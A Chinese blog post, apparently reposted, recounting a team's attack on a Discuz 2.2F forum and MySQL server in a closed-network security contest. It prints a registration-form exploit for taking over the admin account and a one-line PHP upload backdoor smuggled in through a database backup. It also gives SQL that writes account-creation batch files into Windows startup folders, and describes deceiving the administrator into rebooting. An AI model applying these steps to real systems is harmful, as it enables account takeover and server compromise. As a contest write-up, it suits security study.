| 关键词: 服务器 文件 email shell SELECT 论坛 管理员 登陆 还是 emailadd |
估计大家都知道这次成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。 首先说说这次的攻击环境: Web 服务器( 172.16.0.125 )系统: Windows Server 2003 / Apache 1.3.31 打开端口:80、3389Web 程序:Discuz 2.2F MySQL 服务器( 172.16.0.119 )系统: Windows Server 2003 / Mysql 4.0.21打开端口: 3306、3389 注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。 尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。 经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。 我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单: <FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">用户名 :<INPUT name=username value="admin"><br>密码:<INPUT name=password type=text value="123456"><br>确认密码:<INPUT name=password2 type=text value="123456"><br>E-mail :<INPUT name=email value="[email protected]"><br><INPUT type=submit value= 注册 name=regsubmit></FORM> 这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。 register.php 的代码中有如下代码:$email = trim($email); if(!$doublee && strstr($email, @)) { $emailadd = "OR email=$email";} 这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=$email" ,为后面的 SQL 语句做准备。往下有一段代码如下: $query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username=$username $emailadd "); if($db->result($query, 0)) { showmessage(profile_account_duplicate); } 默认 $emailadd = "OR email=$email" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。” 利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email=$email" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。 <FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post"> 然后这个语句到了上面的 SQL 语句那里,就变成: SELECT COUNT(*) FROM $table_members WHERE username=$username and uid=100000 既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过 if($db->result($query, 0)) { showmessage(profile_account_duplicate); } 直接到达这里插入记录: $db->query("INSERT INTO $table_members (........) VALUES (........)"); 也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。 UPDATE $table_members SET ...... WHERE username=$discuz_user 直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性…… 我顺利提升了自己论坛用户的权限,能进入后台以后,我们可以做的事情就多了,插入记录,导出文件,就可以写文件在硬盘了,由于不知道 Web 目录路径,所以不能用 select….into outfile 导出文件,而且此时数据库与 WEB 服务器是分开的,即使导文件也是导出在 MYSQL 服务器上。不过还是有办法,我马上在“数据库升级那里”执行: INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`) VALUES (, 0, , , <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>, ); 黑体部分是我写的后门代码,然后选择数据库备份最小备份,把扩展名改成 .php ,备份后我们就可以上传文件到 forumdata 目录了,可能有不少新手会问,我怎么这么了解?因为我以前用过 Discuz 论坛,研究过这个论坛,所以对这个论坛还是十分熟悉的,如果有谁不懂可以直接搭建环境来测试。 然后本地再写一个表单用于上传文件: <form ENCTYPE="multipart/form-data" ACTION="http://172.16.0.125/forumdata/upfile.php"; METHOD="POST"><input NAME="MyFile" TYPE="file"><input VALUE=" 提交 " TYPE="submit"></form> 我们上传了一个 phpspy 上去,上去后,我要做的事就只有一件,就是把 register.php 文件的漏洞给补上,直接把 $email = trim($email);if(!$doublee && strstr($email, @)) { $emailadd = "OR email=$email"; } 改为: $emailadd = "OR email=$email"; 断绝其他对手的后路,我们再多传几个 phpspy ,让我们的队员慢慢玩,查看 config.php 文件,看到了 MySQL 服务器地址( 172.16.0.119 )和 root 用户的密码,原来密码是 ****_Mysql ,用这个密码试了试 MySQL 服务器的管理员,失败。还有 phpmyadmin 的地址,原来是 php32 目录。查看了一下 php 配置,配置还不错,挺仔细的,可惜我的 phpspy 还是可以利用 webshell 功能成功的添加了系统帐号并提升到管理员权限,成功登陆 3389 ,注意,由于 Windows Server 2003 的安全机制,不是 Administrators 组的用户是不能登陆 3389 的,查看了一些基本的配置后,看到 EffeTech HTTP Sniffer ,原来剑客一直在注意我呢,哈哈,在桌面留个文件和他打个招呼,表示一下晚辈对前辈的尊重。 然后继续查看,这个 Web 服务器的机器名是 SQL!!?? 郁闷,难道 MySQL 服务器是 WEB ?大胆这样猜想,结果没错。以前不记得哪个鸟人说过 MySQL 功能连 ACCESS 都比不了,这次的功劳最大就是 MySQL 了,不然真的不能拿到我们的文件了。即使能用同样的办法传东西到 119 服务器,也没有办法执行,我们只有采用被动式的攻击方法,写文件到管理员的启动组,因为以前我们试过,只能写一行进去,所以如果我们添加用户并提升权限要启动两次,仅仅重新启动还不行,还要管理员登陆才行。 也只有这条路了,说做就做,还是在论坛后台的数据库升级那里执行,其实在 phpmyadmin 或者 phpspy 都可以执行 SQL 语句,我懒得开其他两个了。 CREATE TABLE shell ( shell TEXT NOT NULL );# 建立 shell 表和一个文本型的 shell 字段 INSERT INTO shell ( shell ) VALUES (net user small_a 4ngel /add);# 注意 /add 后面有回车,但是却不能继续再加一行,加了会连在一起。既然能回车却不能加新行,奇怪。哪位大哥可以解释一下? SELECT * FROM shell into outfile C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\add.bat;# 记得给“ \ ”转义 SELECT * FROM shell into outfile C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\add.bat;# 多添加几个地方。 SELECT * FROM shell into outfile C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\add.bat;# 真的存在这个目录,说明之前我们没有猜错这个机器的名字就是 WEB ,真是够精的,把机器名和相应的服务器互换。 然后我就修改论坛的 config.php 文件的 IP 地址,就对管理员说,论坛的数据库连接不上了,你给重新启动一下,很快,我们用 3389 登陆的时候,就发现提示不允许交互,看来用户是添加了的。只是由于权限不够,不能登陆。再来一次,清空 shell 数据表以后,再执行: INSERT INTO shell ( shell ) VALUES (net localgrorp administrators small_a /add); SELECT * FROM shell into outfile C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\up.bat; SELECT * FROM shell into outfile C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\up.bat; SELECT * FROM shell into outfile C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\up.bat; 再用老办法叫管理员重新启动,结果剑客发觉了我们的企图,叫管理员重新登陆后不要登陆,我靠,我们也不是吃素的对吧?说论坛不能访问叫我们怎么搞啊?哈哈,服务器管理员还是老老实实登陆,等啊等啊,我们终于可以用我们自己添加的用户登陆了,看到了 D 盘下面的三个冠、亚、季军的文件,我们一起拿下吧。刚准备拿,结果 119 服务器的 3389 被我们的对手 D 了,而且还伪造 IP ,这是我们小组的其他队员截获的数据显示的。他们并不是也拿下了 WEB 服务器,而是他们有人跑过来偷看我们的屏幕得知的地址,强烈鄙视这种行为, D 吧 D 吧,不就是 D3389 端口嘛,反正我知道了文件名,现在胜利也离我们不远了。就在快 1 个小时也就是快 11 点的时候,我从容地打开 phpmyadmin ,在 SQL 里执行: SELECT load_file(d:/金牌专家.txt)# 晕!这个居然显示空!权限不够,继续。 SELECT load_file(d:/银牌专家.txt)# 显示“祝贺,你已经是银牌专家了!” SELECT load_file(d:/铜牌专家.txt)# 显示“不错不错,你已经是铜牌专家了!” 就这样,其实在 11 点以前我们就拿到了亚军和季军,但是由于对手无耻的偷看行为,导致我们被迫断下 119 服务器的终端。他们一直D ,强烈鄙视这种偷窥行为。剑客也修改了 MYSQL 服务器的 IP ,但没有修正论坛的 IP 信息,我还是无法知道地址,趁吃饭的时候,其中一个队员就用自己写的端口扫描器扫描整个 C 段开了 3306 的主机,结果找到一台,目标就是他,由于之前服务器的 3389 被 D 挂了,我们都是第一次碰到这种情况,主机没挂,服务挂了。结果一直等到 1 点多,剑客才重新启动。我们才顺利的修改了“d:/金牌专家.txt ”这个文件的权限,看到了文件的内容,就顺利拿到了 3 个文件。 整个过程也就完了,技术含量不算高。我觉得重要的是思路和系统的一些常识,特别是 Windows server 2003 和 Apache 这种奇怪的搭配…… |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|